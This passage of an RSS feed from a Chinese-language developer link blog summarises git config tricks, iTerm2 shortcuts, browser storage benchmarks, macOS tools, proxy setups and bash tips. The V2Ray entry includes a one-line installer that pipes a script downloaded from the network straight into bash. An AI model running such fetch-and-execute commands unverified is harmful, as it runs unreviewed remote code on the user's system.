&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Instead of the actual URL&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ git clone git@github.com:planet-express/delivery_service.git
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Substitue in our custom Host value for the `github.com` part&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ git clone git@github-plnx:planet-express/delivery_service.git
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="自動替換-host">自動替換 Host&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>include&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> path &lt;span style="color:#f92672">=&lt;/span> ~/.gitconfig_custom
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># See custom `Host github-plnx` in ~/.ssh/config&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>url &lt;span style="color:#e6db74">&amp;#34;github-plnx:planet-express&amp;#34;&lt;/span>&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> insteadOf &lt;span style="color:#f92672">=&lt;/span> git@github.com:planet-express
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>我覺得好用的 iTerm2 功能</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250209-iterm2-features-i-find-useful/</link><pubDate>Sun, 09 Feb 2025 08:52:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250209-iterm2-features-i-find-useful/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://danielde.dev/blog/iterm2-features-i-find-useful" target="_blank" rel="noopener">我覺得好用的 iTerm2 功能&lt;/a>&lt;/li>
&lt;/ul>
&lt;ol>
&lt;li>顯示時間戳記 ==&amp;gt; &lt;code>⌘+Shift+E&lt;/code>&lt;/li>
&lt;li>在下一個提示時提醒 ==&amp;gt; &lt;code>⌘+Option+A&lt;/code>&lt;/li>
&lt;li>在提示之間跳轉 ==&amp;gt; &lt;code>⌘+Shift+Down&lt;/code>&lt;/li>
&lt;li>逐行捲動快捷鍵 ==&amp;gt; &lt;code>⌘+Up&lt;/code> and &lt;code>⌘+Down&lt;/code>&lt;/li>
&lt;li>用快捷鍵重新排列分頁 ==&amp;gt; &lt;code>Ctrl+Shift+B&lt;/code> and &lt;code>Ctrl+Shift+F&lt;/code>&lt;/li>
&lt;/ol></description></item><item><title>GitLab CI 可以自動檢測程式碼品質！SonarQube 程式碼品質檢測怎麼做？</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250206-go-sonarqube/</link><pubDate>Thu, 06 Feb 2025 12:01:22 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250206-go-sonarqube/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://medium.com/@martina.says/gitlab-ci-%E5%8F%AF%E4%BB%A5%E8%87%AA%E5%8B%95%E6%AA%A2%E6%B8%AC%E7%A8%8B%E5%BC%8F%E7%A2%BC%E5%93%81%E8%B3%AA-sonarqube-%E7%A8%8B%E5%BC%8F%E7%A2%BC%E5%93%81%E8%B3%AA%E6%AA%A2%E6%B8%AC%E6%80%8E%E9%BA%BC%E5%81%9A-7002bd0dcc5a" target="_blank" rel="noopener">GitLab CI 可以自動檢測程式碼品質！SonarQube 程式碼品質檢測怎麼做？&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/tedmax100/Go_GitLab_SonarQube_Example" target="_blank" rel="noopener">Go_GitLab_SonarQube_Example&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>比 Ctrl+F 更聰明：直接連到網頁內容</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241225-linking-directly-to-web-page-content/</link><pubDate>Wed, 25 Dec 2024 08:45:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241225-linking-directly-to-web-page-content/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://alfy.blog/2024/10/19/linking-directly-to-web-page-content.html" target="_blank" rel="noopener">比 Ctrl+F 更聰明：直接連到網頁內容&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>語法&lt;/strong>&lt;/p>
&lt;p>&lt;code>https://example.com/page.html#:~:text=[prefix-,]textStart[,textEnd][,-suffix]&lt;/code>&lt;/p>
&lt;p>&lt;strong>範例&lt;/strong>&lt;/p>
&lt;p>&lt;code>https://developer.mozilla.org/en-US/docs/Web/URI/Fragment/Text_fragments#:~:text=without%20relying%20on%20the%20presence%20of%20IDs&lt;/code>&lt;/p></description></item><item><title>終端機程式遵循的規則</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241225-terminal-rules/</link><pubDate>Wed, 25 Dec 2024 08:45:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241225-terminal-rules/</guid><description>&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://jvns.ca/blog/2024/11/26/terminal-rules/" target="_blank" rel="noopener">終端機程式遵循的「規則」&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>規則 1：非互動程式應在按 Ctrl-C 時退出&lt;/p>
&lt;/li>
&lt;li>
&lt;p>規則 2：按 q 時，TUI 應退出&lt;/p>
&lt;/li>
&lt;li>
&lt;p>規則 3：在空白行上按 Ctrl-D 時，REPL 應退出&lt;/p>
&lt;/li>
&lt;li>
&lt;p>規則 4：不要使用超過 16 種顏色&lt;/p>
&lt;/li>
&lt;li>
&lt;p>規則 5：支援 readline 鍵綁定&lt;/p>
&lt;ul>
&lt;li>規則 5.1：Ctrl-W 應刪除最後一個單字&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>規則 6：寫入管道時停用顏色&lt;/p>
&lt;/li>
&lt;li>
&lt;p>規則 7：- 表示 stdin/stdout&lt;/p>
&lt;/li>
&lt;/ul></description></item><item><title>LocalStorage vs. IndexedDB vs. Cookies vs. OPFS vs. WASM-SQLite</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241129-localstorage-indexeddb-cookies-opfs-sqlite-wasm/</link><pubDate>Fri, 29 Nov 2024 14:58:29 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241129-localstorage-indexeddb-cookies-opfs-sqlite-wasm/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://rxdb.info/articles/localstorage-indexeddb-cookies-opfs-sqlite-wasm.html" target="_blank" rel="noopener">LocalStorage vs. IndexedDB vs. Cookies vs. OPFS vs. WASM-SQLite&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="現代瀏覽器可用的-storage-api">現代瀏覽器可用的 Storage API&lt;/h4>
&lt;p>&lt;strong>&lt;em>Cookies&lt;/em>&lt;/strong>&lt;/p>
&lt;p>Cookies 會儲存小型的鍵值資料，主要用於工作階段管理、個人化與追蹤。Cookies 可以設定多種安全選項，例如存活時間或網域屬性，以便在多個子網域之間共用。&lt;/p>
&lt;p>&lt;strong>&lt;em>LocalStorage&lt;/em>&lt;/strong>&lt;/p>
&lt;p>LocalStorage 只適合儲存少量且需要跨 session 保存的資料，並且受限於 5MB 的容量上限。要儲存複雜資料，通常需要轉成字串，例如使用 JSON.stringify()。這個 API 不是非同步的，代表在操作時會阻塞你的 JavaScript 程序，因此執行重型操作可能會讓 UI 無法渲染。&lt;/p>
&lt;p>&lt;strong>&lt;em>IndexedDB&lt;/em>&lt;/strong>&lt;/p>
&lt;p>IndexedDB 是一個用於儲存大量結構化 JSON 資料的低階 API。雖然使用起來有些困難，但 IndexedDB 可以利用索引並支援非同步操作。它缺乏複雜查詢能力，只能迭代索引，更像是其他函式庫的底層基礎，而非完整的資料庫。&lt;/p>
&lt;h4 id="儲存容量限制">儲存容量限制&lt;/h4>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>技術&lt;/th>
&lt;th>上限&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Cookie&lt;/td>
&lt;td>4 KB&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>LocalStorage&lt;/td>
&lt;td>每個來源 4 MB 到 10 MB&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>IndexedDB&lt;/td>
&lt;td>取決於瀏覽器實作&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OPFS&lt;/td>
&lt;td>取決於可用的磁碟空間&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h4 id="效能比較">效能比較&lt;/h4>
&lt;h5 id="初始化時間">初始化時間&lt;/h5>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>技術&lt;/th>
&lt;th>時間（毫秒）&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>IndexedDB&lt;/td>
&lt;td>46&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OPFS 主執行緒&lt;/td>
&lt;td>23&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OPFS WebWorker&lt;/td>
&lt;td>26.8&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>WASM SQLite（記憶體）&lt;/td>
&lt;td>504&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>WASM SQLite（IndexedDB）&lt;/td>
&lt;td>535&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h5 id="小型寫入延遲">小型寫入延遲&lt;/h5>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>技術&lt;/th>
&lt;th>時間（毫秒）&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Cookies&lt;/td>
&lt;td>0.058&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>LocalStorage&lt;/td>
&lt;td>0.017&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>IndexedDB&lt;/td>
&lt;td>0.17&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OPFS 主執行緒&lt;/td>
&lt;td>1.46&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OPFS WebWorker&lt;/td>
&lt;td>1.54&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>WASM SQLite（記憶體）&lt;/td>
&lt;td>0.17&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>WASM SQLite（IndexedDB）&lt;/td>
&lt;td>3.17&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h5 id="小型讀取延遲">小型讀取延遲&lt;/h5>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>技術&lt;/th>
&lt;th>時間（毫秒）&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Cookies&lt;/td>
&lt;td>0.132&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>LocalStorage&lt;/td>
&lt;td>0.0052&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>IndexedDB&lt;/td>
&lt;td>0.1&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OPFS 主執行緒&lt;/td>
&lt;td>1.28&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OPFS WebWorker&lt;/td>
&lt;td>1.41&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>WASM SQLite（記憶體）&lt;/td>
&lt;td>0.45&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>WASM SQLite（IndexedDB）&lt;/td>
&lt;td>2.93&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table></description></item><item><title>我如何設定 Git 身分</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241125-git-config/</link><pubDate>Mon, 25 Nov 2024 17:35:35 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241125-git-config/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.benji.dog/articles/git-config/" target="_blank" rel="noopener">我如何設定 Git 身分&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>&lt;em>includeIf&lt;/em>&lt;/strong>&lt;/p>
&lt;pre tabindex="0">&lt;code>[includeIf &amp;#34;gitdir:~/code/**&amp;#34;]
path = ~/.config/git/personal
[includeIf &amp;#34;gitdir:~/work/**&amp;#34;]
path = ~/.config/git/work
&lt;/code>&lt;/pre>&lt;p>&lt;strong>&lt;code>hasconfig:remote.*.url:&lt;/code>&lt;/strong>&lt;/p>
&lt;pre tabindex="0">&lt;code>[includeIf &amp;#34;hasconfig:remote.*.url:git@github.com:*/**&amp;#34;]
path = ~/.config/git/config-gh
[includeIf &amp;#34;hasconfig:remote.*.url:git@github.com:orgname/**&amp;#34;]
path = ~/.config/git/config-gh-org
[includeIf &amp;#34;hasconfig:remote.*.url:git@gitlab.com:*/**&amp;#34;]
path = ~/.config/git/config-gl
[includeIf &amp;#34;hasconfig:remote.*.url:git@git.sr.ht:*/**&amp;#34;]
path = ~/.config/git/config-srht
&lt;/code>&lt;/pre>&lt;p>&lt;strong>&lt;em>insteadOf&lt;/em>&lt;/strong>&lt;/p>
&lt;pre tabindex="0">&lt;code>[url &amp;#34;gh-work:orgname&amp;#34;]
insteadOf = git@github.com:orgname
&lt;/code>&lt;/pre></description></item><item><title>加速 Rust 編輯、建置、執行循環</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241118-speeding-up-the-rust-edit-build-run-cycle/</link><pubDate>Mon, 18 Nov 2024 09:10:54 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241118-speeding-up-the-rust-edit-build-run-cycle/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://davidlattimore.github.io/posts/2024/02/04/speeding-up-the-rust-edit-build-run-cycle.html" target="_blank" rel="noopener">加速 Rust 編輯、建置、執行循環&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Mac 小眾軟體推薦與工作流程分享（2024）</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241114-mac-app-share/</link><pubDate>Thu, 14 Nov 2024 09:52:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241114-mac-app-share/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.ursb.me/posts/mac-app-share-2024/" target="_blank" rel="noopener">Mac 小眾軟體推薦與工作流程分享（2024）&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Objective-See：一個關於 Apple 裝置隱私與安全的開源專案組織</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241113-objective-see/</link><pubDate>Wed, 13 Nov 2024 09:44:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241113-objective-see/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://t.me/misakatech/1349" target="_blank" rel="noopener">Objective-See：一個關於 Apple 裝置隱私與安全的開源專案組織&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>今天在找小工具時發現他們做了一堆 macOS 上的開源軟體，基本都是和隱私與安全相關。&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://objective-see.org/products/knockknock.html" target="_blank" rel="noopener">KnockKnock&lt;/a>：查看你的 Mac 上有哪些背景行程、守護行程、啟動項、核心擴充、登入項、瀏覽器外掛等等。能看到的比「Login Items」詳細得多（有的軟體會用其他方式自啟）。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://objective-see.org/products/lulu.html" target="_blank" rel="noopener">LuLu&lt;/a>：一個開源的 macOS 網路防火牆，可以讓你詳細控制每個軟體的網路連線（類似 Hands Off!）。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://objective-see.org/products/taskexplorer.html" target="_blank" rel="noopener">TaskExplorer&lt;/a>：增強版的工作管理員，可以看到應用的簽名、開啟的檔案、網路連線等等，還可以根據 sha256 自動幫你搜尋 VirusTotal 的結果。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://objective-see.org/products/dnd.html" target="_blank" rel="noopener">Do Not Disturb&lt;/a>：可以阻止你的 Mac 被打擾（沒錯），當你的 Mac 被別人打開上蓋時可以發送警告、執行腳本、偵測裝置變化之類的。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://objective-see.org/products/blockblock.html" target="_blank" rel="noopener">BlockBlock&lt;/a>：可以阻止背景的持久化安裝，RansomWhere 可以偵測檔案被加密的行為，還有一些雜七雜八的獨立工具。&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>&lt;a href="https://objective-see.org" target="_blank" rel="noopener">https://objective-see.org&lt;/a>&lt;/p></description></item><item><title>Advanced macOS Command-Line Tools</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241113-advanced-macos-commands/</link><pubDate>Wed, 13 Nov 2024 09:14:26 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241113-advanced-macos-commands/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://saurabhs.org/advanced-macos-commands" target="_blank" rel="noopener">Advanced macOS Command-Line Tools&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://weiyen.net/articles/useful-macos-cmd-line-utilities/" target="_blank" rel="noopener">Useful built-in macOS command-line utilities&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://catcoding.me/p/apple-perf/" target="_blank" rel="noopener">苹果：为了安全让 M2 吃灰&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="sips---image-manipulation">sips - image manipulation&lt;/h4>
&lt;p>&lt;code>sips -z &amp;lt;height&amp;gt; &amp;lt;width&amp;gt; &amp;lt;image&amp;gt;&lt;/code> resizes the specified image, ignoring the previous aspect ratio.&lt;/p>
&lt;p>&lt;code>sips -Z &amp;lt;size&amp;gt; &amp;lt;image&amp;gt;&lt;/code> resizes the largest side of the specified image, preserving the aspect ratio.&lt;/p>
&lt;p>&lt;code>sips -c &amp;lt;height&amp;gt; &amp;lt;width&amp;gt; &amp;lt;image&amp;gt;&lt;/code> crops the specified image to the given dimensions (relative to the center of the original image).&lt;/p>
&lt;p>&lt;code>sips -r &amp;lt;degrees&amp;gt; &amp;lt;image&amp;gt;&lt;/code> rotates the image by the specified degrees.&lt;/p></description></item><item><title>工欲善其事，必先利其器 —— 我的家庭網路組網方案</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241111-home-network-setup/</link><pubDate>Mon, 11 Nov 2024 09:25:57 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241111-home-network-setup/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.skk.moe/post/home-network-setup/" target="_blank" rel="noopener">工欲善其事，必先利其器 —— 我的家庭網路組網方案&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>將 Cloudflare WARP 轉成 HTTP 代理</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241106-warp-http-proxy/</link><pubDate>Wed, 06 Nov 2024 17:47:06 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241106-warp-http-proxy/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://dmesg.app/warp-http-proxy.html" target="_blank" rel="noopener">將 Cloudflare WARP 轉成 HTTP 代理&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>warp-cli proxy port &lt;span style="color:#ae81ff">60606&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>warp-cli mode proxy
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>然而，Go 程式不支援 socks 代理，要手動加 transport 我可沒那個功夫去加。&lt;/p>
&lt;p>好消息是，Go 預設會尊重環境變數 &lt;code>http_proxy&lt;/code>。因此我們要想辦法把 socks 代理轉成 http 代理。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>pproxy -v -l http://127.0.0.1:8118 -r socks5://127.0.0.1:60606
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>https_proxy&lt;span style="color:#f92672">=&lt;/span>http://127.0.0.1:8118 http_proxy&lt;span style="color:#f92672">=&lt;/span>http://127.0.0.1:8118 curl ipv4.win
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>curl: &lt;span style="color:#f92672">(&lt;/span>52&lt;span style="color:#f92672">)&lt;/span> Empty reply from server
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># pproxy logs&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Serving on ipv? 127.0.0.1:8118 by http
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>http 127.0.0.1:45012 -&amp;gt; socks5 127.0.0.1:60606 -&amp;gt; ipv4.win:80
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Unknown remote protocol from 127.0.0.1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>可能是 pproxy 的問題，那就用 gost。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>gost -L http://127.0.0.1:8118 -F socks5://127.0.0.1:60606
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2024/11/03 12:32:43 route.go:700: http://127.0.0.1:8118 on 127.0.0.1:8118
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2024/11/03 12:32:46 http.go:162: &lt;span style="color:#f92672">[&lt;/span>http&lt;span style="color:#f92672">]&lt;/span> 127.0.0.1:33284 -&amp;gt; http://127.0.0.1:8118 -&amp;gt; ipv4.win:80
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2024/11/03 12:32:46 http.go:257: &lt;span style="color:#f92672">[&lt;/span>route&lt;span style="color:#f92672">]&lt;/span> 127.0.0.1:33284 -&amp;gt; http://127.0.0.1:8118 -&amp;gt; 1@socks5://127.0.0.1:60606 -&amp;gt; ipv4.win:80
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2024/11/03 12:32:46 http.go:280: &lt;span style="color:#f92672">[&lt;/span>http&lt;span style="color:#f92672">]&lt;/span> 127.0.0.1:33284 -&amp;gt; 127.0.0.1:8118 : unexpected EOF
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>那就用 Privoxy。&lt;/p></description></item><item><title>使用 Cloudflare 中轉 V2Ray 流量</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241022-v2ray-cloudflare/</link><pubDate>Tue, 22 Oct 2024 09:24:08 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20241022-v2ray-cloudflare/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://233boy.com/v2ray/v2ray-cloudflare/" target="_blank" rel="noopener">使用 Cloudflare 中轉 V2Ray 流量&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://233boy.com/v2ray/v2ray-script/" target="_blank" rel="noopener">最好用的 V2Ray 一鍵安裝腳本&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://233boy.com/v2ray/v2ray-dns/" target="_blank" rel="noopener">V2Ray 腳本 DNS 設定&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://233boy.com/v2ray/v2ray-dokodemo-door/" target="_blank" rel="noopener">V2Ray 腳本中轉教學&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="安裝腳本">安裝腳本&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>bash &amp;lt;&lt;span style="color:#f92672">(&lt;/span>wget -qO- -o- https://git.io/v2ray.sh&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="準備">準備&lt;/h2>
&lt;p>我們現在就新增一筆 DNS 記錄，名稱：&lt;code>ai&lt;/code>，IPv4 位址：&lt;code>寫你的 VPS IP&lt;/code>，代理狀態必須關閉，雲朵圖示為灰色。&lt;/p>
&lt;p>提示：你可以使用 &lt;code>v2ray ip&lt;/code> 查看你的 VPS IP。&lt;/p>
&lt;h2 id="新增中轉配置">新增中轉配置&lt;/h2>
&lt;p>使用 &lt;code>v2ray add ws ai.233boy.com&lt;/code> 新增一個 vmess-ws-tls 配置；記得把 &lt;code>ai.233boy.com&lt;/code> 改成你的網域。&lt;/p>
&lt;p>就是剛才新增記錄的那個網域，假設你的網域是 233boy.com，新增的名稱是 ai，網域就是 ai.233boy.com。&lt;/p>
&lt;h2 id="開啟中轉">開啟中轉&lt;/h2>
&lt;p>在 Cloudflare 後台首頁，點你的網域進去，在左側選項選單選擇 &lt;code>SSL/TLS&lt;/code>。&lt;/p>
&lt;p>把 SSL/TLS 加密模式改成 &lt;code>完全&lt;/code>。&lt;/p>
&lt;p>接著在左側選項選單選擇 &lt;code>DNS&lt;/code>。&lt;/p>
&lt;p>編輯剛新增的記錄，把代理狀態打開，也就是 &lt;code>已代理&lt;/code>，雲朵圖示為點亮狀態，然後儲存。&lt;/p>
&lt;p>雲朵點亮後，流量就會走 Cloudflare 中轉。&lt;/p>
&lt;p>提醒：雲朵點亮代表流量經由 Cloudflare 中轉；雲朵灰色代表直連，不走 Cloudflare 中轉。&lt;/p>
&lt;h2 id="取得真實客戶端-ip">取得真實客戶端 IP&lt;/h2>
&lt;p>有些人可能有特殊需求，因為套上 CF 後，預設在查看日誌時會顯示客戶端 IP 為 CF 的 IP。&lt;/p></description></item><item><title>進階 Shell 腳本技巧：用 Bash 自動化複雜任務</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240925-advanced-shell-scripting/</link><pubDate>Wed, 25 Sep 2024 09:23:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240925-advanced-shell-scripting/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://omid.dev/2024/06/19/advanced-shell-scripting-techniques-automating-complex-tasks-with-bash/" target="_blank" rel="noopener">進階 Shell 腳本技巧：用 Bash 自動化複雜任務&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="使用內建指令">使用內建指令&lt;/h4>
&lt;div class="alert info">
&lt;span>&lt;i data-feather="info">&lt;/i>&lt;/span>
&lt;span>&lt;strong>內建指令執行更快，因為不需要載入外部程序。&lt;/strong>&lt;/span>
&lt;/div>
&lt;h4 id="減少子殼層">減少子殼層&lt;/h4>
&lt;div class="alert info">
&lt;span>&lt;i data-feather="info">&lt;/i>&lt;/span>
&lt;span>&lt;strong>子殼層會帶來效能成本。&lt;/strong>&lt;/span>
&lt;/div>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Inefficient&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>output&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>cat file.txt&lt;span style="color:#66d9ef">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Efficient&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>output&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>&amp;lt;file.txt&lt;span style="color:#66d9ef">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="使用陣列處理大量資料">使用陣列處理大量資料&lt;/h4>
&lt;div class="alert info">
&lt;span>&lt;i data-feather="info">&lt;/i>&lt;/span>
&lt;span>&lt;strong>處理大量資料時，陣列比多個變數更有效率，也更好管理。&lt;/strong>&lt;/span>
&lt;/div>
